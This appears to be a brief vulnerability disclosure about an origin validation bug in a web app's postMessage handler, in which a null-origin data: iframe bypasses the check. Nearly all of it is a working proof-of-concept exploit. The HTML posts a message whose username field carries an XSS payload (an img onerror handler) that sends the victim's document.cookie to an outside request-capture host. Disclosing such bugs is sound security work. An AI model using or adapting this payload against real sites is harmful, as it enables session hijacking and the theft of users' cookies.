There is bug in origin validation function. URLs with null origin can bypass it.```<html>	<iframe src="data:text/html,<script>var call_window;call_window = window.open('http://localhost/call.php');setTimeout(function(){	    call_window.postMessage({	      type: 'audio',	      details: {	      sender_username: "<img src=xx: onerror=window.open('https://hookb.in/ZdNNDQ6X?a='+document.cookie)>",	        sender_team_name: 'zzzz',	        receiver_username: 'test',	        receiver_team_name: 'test'	      }	    }, '*');}, 1000);</script>"></iframe></html>```